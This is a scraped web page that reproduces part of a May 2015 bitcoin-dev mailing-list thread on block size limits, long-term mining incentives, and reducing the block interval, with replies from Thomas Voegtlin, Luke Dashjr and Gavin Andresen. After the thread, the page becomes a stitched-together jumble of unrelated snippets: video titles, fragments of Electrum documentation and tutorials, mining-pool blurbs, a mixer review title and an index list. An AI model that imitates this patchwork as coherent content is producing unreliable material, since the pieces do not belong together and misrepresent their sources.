extremely reassuring for the long-term viability of bitcoin. So, the
thinking goes, by raising the block size limit, we would be postponing a
crucial reality check. We would be buying time, at the expenses of
Bitcoin's decentralization.
OTOH, proponents of a block size increase have a very good point: if the
block size is not raised soon, Bitcoin is going to enter a new, unknown
and potentially harmful regime. In the current regime, almost all
transaction get confirmed quickly, and fee pressure does not exist. Mike
Hearn suggested that, when blocks reach full capacity and users start to
experience confirmation delays and confirmation uncertainty, users will
simply go away and stop using Bitcoin. To me, that outcome sounds very
plausible indeed. Thus, proponents of the block size increase are
conservative; they are trying to preserve the current regime, which is
known to work, instead of letting the network enter uncharted territory.
My problem is that this seems to lacks a vision. If the maximal block
size is increased only to buy time, or because some people think that 7
tps is not enough to compete with VISA, then I guess it would be
healthier to try and develop off-chain infrastructure first, such as the
Lightning network.
OTOH, I also fail to see evidence that a limited block capacity will
lead to a functional fee market, able to sustain a steady state. A
functional market requires well-informed participants who make rational
choices and accept the outcomes of their choices. That is not the case
today, and to believe that it will magically happen because blocks start
to reach full capacity sounds a lot like like wishful thinking.
So here is my question, to both proponents and opponents of a block size
increase: What steady-state regime do you envision for Bitcoin, and what
is is your plan to get there? More specifically, how will the
steady-state regime look like? Will users experience fee pressure and
delays, or will it look more like a scaled up version of what we enjoy
today? Should fee pressure be increased jointly with subsidy decrease,
or as soon as possible, or never? What incentives will exist for miners
once the subsidy is gone? Will miners have an incentive to permanently
fork off the last block and capture its fees? Do you expect Bitcoin to
work because miners are altruistic/selfish/honest/caring?
A clear vision would be welcome.
---------- Forwarded message ----------
From: insecurity at national.shitposting.agency
To: thomasv at electrum.org
Cc: bitcoin-development at lists.sourceforge.net
Date: Mon, 11 May 2015 16:52:10 +0000
Subject: Re: [Bitcoin-development] Long-term mining incentives
On 2015-05-11 16:28, Thomas Voegtlin wrote:
My problem is that this seems to lacks a vision. If the maximal block
size is increased only to buy time, or because some people think that 7
tps is not enough to compete with VISA, then I guess it would be
healthier to try and develop off-chain infrastructure first, such as the
Lightning network.
If your end goal is "compete with VISA" you might as well just give up
and go home right now. There's lots of terrible proposals where people
try to demonstrate that so many hundred thousand transactions a second
are possible if we just make the block size 500GB. In the real world
with physical limits, you literally can not verify more than a few
thousand ECDSA signatures a second on a CPU core. The tradeoff taken
in Bitcoin is that the signatures are pretty small, but they are also
slow to verify on any sort of scale. There's no way competing with a
centralised entity using on-chain transactions is even a sane goal.
---------- Forwarded message ----------
From: Luke Dashjr <luke at dashjr.org>
To: bitcoin-development at lists.sourceforge.net
Cc:
Date: Mon, 11 May 2015 16:47:47 +0000
Subject: Re: [Bitcoin-development] Reducing the block rate instead of
increasing the maximum block size
On Monday, May 11, 2015 7:03:29 AM Sergio Lerner wrote:
  1. It will encourage centralization, because participants of mining
pools will loose more money because of excessive initial block template
latency, which leads to higher stale shares
When a new block is solved, that information needs to propagate
throughout the Bitcoin network up to the mining pool operator nodes,
then a new block header candidate is created, and this header must be
propagated to all the mining pool users, ether by a push or a pull
model. Generally the mining server pushes new work units to the
individual miners. If done other way around, the server would need to
handle a high load of continuous work requests that would be difficult
to distinguish from a DDoS attack. So if the server pushes new block
header candidates to clients, then the problem boils down to increasing
bandwidth of the servers to achieve a tenfold increase in work
distribution. Or distributing the servers geographically to achieve a
lower latency. Propagating blocks does not require additional CPU
resources, so mining pools administrators would need to increase
moderately their investment in the server infrastructure to achieve
lower latency and higher bandwidth, but I guess the investment would be
low.
  1. Latency is what matters here, not bandwidth so much. And latency
reduction
is either expensive or impossible.
  1. Mining pools are mostly run at a loss (with exception to only the most
centralised pools), and have nothing to invest in increasing
infrastructure.
3, It will reduce the security of the network
The security of the network is based on two facts:
A- The miners are incentivized to extend the best chain
B- The probability of a reversal based on a long block competition
decreases as more confirmation blocks are appended.
C- Renting or buying hardware to perform a 51% attack is costly.
A still holds. B holds for the same amount of confirmation blocks, so 6
confirmation blocks in a 10-minute block-chain is approximately
equivalent to 6 confirmation blocks in a 1-minute block-chain.
Only C changes, as renting the hashing power for 6 minutes is ten times
less expensive as renting it for 1 hour. However, there is no shop where
one can find 51% of the hashing power to rent right now, nor probably
will ever be if Bitcoin succeeds. Last, you can still have a 1 hour
confirmation (60 1-minute blocks) if you wish for high-valued payments,
so the security decreases only if participant wish to decrease it.
You're overlooking at least:
  1. The real network has to suffer wasted work as a result of the stale
blocks,
while an attacker does not. If 20% of blocks are stale, the attacker only
needs 40% of the legitimate hashrate to achieve 50%-in-practice.
  1. Since blocks are individually weaker, it becomes cheaper to DoS nodes
with
invalid blocks. (not sure if this is a real concern, but it ought to be
considered and addressed)
  1. Reducing the block propagation time on the average case is good, but
what happen in the worse case?
Most methods proposed to reduce the block propagation delay do it only
on the average case. Any kind of block compression relies on both
parties sharing some previous information. In the worse case it's true
that a miner can create and try to broadcast a block that takes too much
time to verify or bandwidth to transmit. This is currently true on the
Bitcoin network. Nevertheless there is no such incentive for miners,
since they will be shooting on their own foots. Peter Todd has argued
that the best strategy for miners is actually to reach 51% of the
network, but not more. In other words, to exclude the slowest 49%
percent. But this strategy of creating bloated blocks is too risky in
practice, and surely doomed to fail, as network conditions dynamically
change. Also it would be perceived as an attack to the network, and the
miner (if it is a public mining pool) would be probably blacklisted.
One can probably overcome changing network conditions merely by trying to
reach 75% and exclude the slowest 25%. Also, there is no way to identify or
blacklist miners.
  1. Thousands of SPV wallets running in mobile devices would need to be
upgraded (thanks Mike).
That depends on the current upgrade rate for SPV wallets like Bitcoin
Wallet and BreadWallet. Suppose that the upgrade rate is 80%/year: we
develop the source code for the change now and apply the change in Q2
2016, then most of the nodes will already be upgraded by when the
hardfork takes place. Also a public notice telling people to upgrade in
web pages, bitcointalk, SPV wallets warnings, coindesk, one year in
advance will give plenty of time to SPV wallet users to upgrade.
I agree this shouldn't be a real concern. SPV wallets are also more likely
and
less risky (globally) to be auto-updated.
  1. If there are 10x more blocks, then there are 10x more block headers,
and that increases the amount of bandwidth SPV wallets need to catch up
with the chain
A standard smartphone with average cellular downstream speed downloads
2.6 headers per second (1600 kbits/sec) [3], so if synchronization were
to be done only at night when the phone is connected to the power line,
then it would take 9 minutes to synchronize with 1440 headers/day. If a
person should accept a payment, and the smart-phone is 1 day
out-of-synch, then it takes less time to download all the missing
headers than to wait for a 10-minute one block confirmation. Obviously
all smartphones with 3G have a downstream bandwidth much higher,
averaging 1 Mbps. So the whole synchronization will be done less than a
1-minute block confirmation.
Uh, I think you need to be using at least median speeds. As an example, I
can
only sustain (over 3G) about 40 kbps, with a peak of around 400 kbps. 3G
has
worse range/coverage than 2G. No doubt the average is skewed so high
because
of densely populated areas like San Francisco having 400+ Mbps cellular
data.
It's not reasonable to assume sync only at night: most payments will be
during
the day, on battery - so increased power use must also be considered.
According to CISCO mobile bandwidth connection speed increases 20% every
year.
Only in small densely populated areas of first-world countries.
Luke
---------- Forwarded message ----------
From: Gavin Andresen <gavinandresen at gmail.com>
To: insecurity at national.shitposting.agency
Cc: Bitcoin Dev <bitcoin-development at lists.sourceforge.net>
Date: Mon, 11 May 2015 13:29:02 -0400
Subject: Re: [Bitcoin-development] Long-term mining incentives
I think long-term the chain will not be secured purely by proof-of-work. I
think when the Bitcoin network was tiny running solely on people's home
computers proof-of-work was the right way to secure the chain, and the only
fair way to both secure the chain and distribute the coins.
See https://gist.github.com/gavinandresen/630d4a6c24ac6144482a for some
half-baked thoughts along those lines. I don't think proof-of-work is the
last word in distributed consensus (I also don't think any alternatives are
anywhere near ready to deploy, but they might be in ten years).
I also think it is premature to worry about what will happen in twenty or
thirty years when the block subsidy is insignificant. A lot will happen in
the next twenty years. I could spin a vision of what will secure the chain
in twenty years, but I'd put a low probability on that vision actually
turning out to be correct.
That is why I keep saying Bitcoin is an experiment. But I also believe
that the incentives are correct, and there are a lot of very motivated,
smart, hard-working people who will make it work. When you're talking about
trying to predict what will happen decades from now, I think that is the
best you can (honestly) do.

Gavin Andresen
One dashboard for servers and applications across Physical-Virtual-Cloud
Widest out-of-the-box monitoring support with 50+ applications
Performance metrics, stats and reports that give you Actionable Insights
Deep dive visibility with transaction tracing using APM Insight.
http://ad.doubleclick.net/ddm/clk/290420510;117567292;y
Bitcoin-development mailing list
Bitcoin-development at lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/bitcoin-development
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20150511/46bc687a/attachment.html>
original: http://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-May/008095.html
submitted by bitcoin-devlist-bot to bitcoin_devlist [link] [comments]

Slushpool bitcoin mining pool - worker setup tutorial ... Bitcoin Private is Online How to Mine on Multipools.club BTC News - Bitpay Starts Implementing Bitcoin Payment ... Helix Light Bitcoin Mixer Review & Step By Step Tutorial Chris Dunn - Should You Trade Bitcoin Or Just Buy & Hold ...

Electrum Personal Server has a different approach to a normal server. It is intended to be used by a single person only. Instead of creating a database of every transaction and address ever used on the bitcoin blockchain, Electrum Personal Server only tracks the user's own wallets. This allows it to be much more efficient with resources, it does not need any extra data files and is compatible with Electrum Bitcoin Wallet. Impressum This website is hosted by Electrum Technologies GmbH Electrum Technologies was founded by Thomas Voegtlin in 2013. Its mission is to develop, package and distribute Electrum software, and to provide services to Bitcoin users and businesses. How to accept Bitcoin on a website using Electrum¶ This tutorial will show you how to accept Bitcoin on a website with SSL signed payment requests, according to BIP-70. The docs are updated for Electrum 4.0 (currently in development). You will need a valid SSL certificate (signed by a CA, for example free Letsencrypt). Please follow the ... Now when you launch Electrum with this shortcut it will use 1 tor server only. Quick explanation,-1 means connect to 1 server only.-s is defining which server. You can change this to any .onion server you want.-p Is saying what proxy server to use to get into the tor network. Generally this will be localhost but the port bit after : could be ... How to Send Bitcoin from Coinbase to Electrum. Sending Bitcoin from Coinbase to Electrum is simple and should only take a few minutes. 1. Get a receive address on Electrum. As laid out in the section above, generate an address in the ‘Receive’ tab of your electrum wallet. Copy the address. 2. Go to Coinbase

[index] [9703] [41897] [11139] [18108] [45115] [29201] [32395] [33283] [16655] [50659]

Slushpool bitcoin mining pool - worker setup tutorial ...

Slushpool is the oldest bitcoin mining pool, and the first known to be publicly available. This tutorial will demonstrate worker setup on slushpool mining pool. This video is an update to my previous video on mining Bitcoin Private. A lot of new BTCP mining pools have sprung up including PickAxe.Pro. Here is how to s... Chris Dunn - Should You Trade Bitcoin Or Just Buy & Hold? - Chris Dunn Let your computer earn you money with Bitcoin Miner, the free easy-to-use Bitcoin mine... Bitpay Starts Implementing Bitcoin Payment Protocol Invoices Decreasing Wallet SupportThis week the cryptocurrency payment processor Bitpay implemented the B... Follow these instructions on how to mine Bitcoin Private ($BTCP) on Multipools.club with Awesome Miner. Multipools is a mining pool based out of Portugal wit...

#